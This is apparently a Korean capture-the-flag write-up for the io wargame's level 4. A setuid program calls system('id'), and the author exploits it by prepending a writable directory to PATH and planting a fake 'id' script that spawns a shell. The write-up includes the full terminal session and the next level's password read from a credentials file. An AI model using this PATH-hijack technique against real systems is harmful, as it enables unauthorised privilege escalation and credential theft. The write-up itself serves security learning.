Level 4 문제 소스는 아래와 같다.
1
2
3
4
5
6
7
8
| #include <stdlib.h>
int main() {
system("id");
return 0;
}
|
id를 실행시키는 간단한 소스다..
PATH 환경변수를 설정해서 우리가 직접 작성한 id를 실행시키면 쉘을 획득할 수 있을 것이다.
/tmp/by4 폴더에 id를 새로 작성하여 아래와 같이 공격을 시도 하였다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
| level4@io:/tmp/by4$ env
TERM=linux
SHELL=/bin/bash
SSH_CLIENT=211.218.16.99 23923 22
OLDPWD=/tmp
SSH_TTY=/dev/pts/2
USER=level4
MAIL=/var/mail/level4
PATH=/usr/local/bin:/usr/bin:/bin:/usr/games
PWD=/tmp/by4
SHLVL=1
HOME=/home/level4
LOGNAME=level4
SSH_CONNECTION=211.218.16.99 23923 192.168.1.32 22
_=/usr/bin/env
level4@io:/tmp/by4$ export PATH=/tmp/by4:/usr/local/bin:/usr/bin:/bin:/usr/games
level4@io:/tmp/by4$ env
TERM=linux
SHELL=/bin/bash
SSH_CLIENT=211.218.16.99 23923 22
OLDPWD=/tmp
SSH_TTY=/dev/pts/2
USER=level4
MAIL=/var/mail/level4
PATH=/tmp/by4:/usr/local/bin:/usr/bin:/bin:/usr/games
PWD=/tmp/by4
SHLVL=1
HOME=/home/level4
LOGNAME=level4
SSH_CONNECTION=211.218.16.99 23923 192.168.1.32 22
_=/usr/bin/env
level4@io:/tmp/by4$ cat id
#!/usr/bin/python
import os
os.system('/bin/sh')
level4@io:/tmp/by4$ /levels/level04
sh-3.2$ cat /home/level5/.pass
wj9mttkm
sh-3.2$
|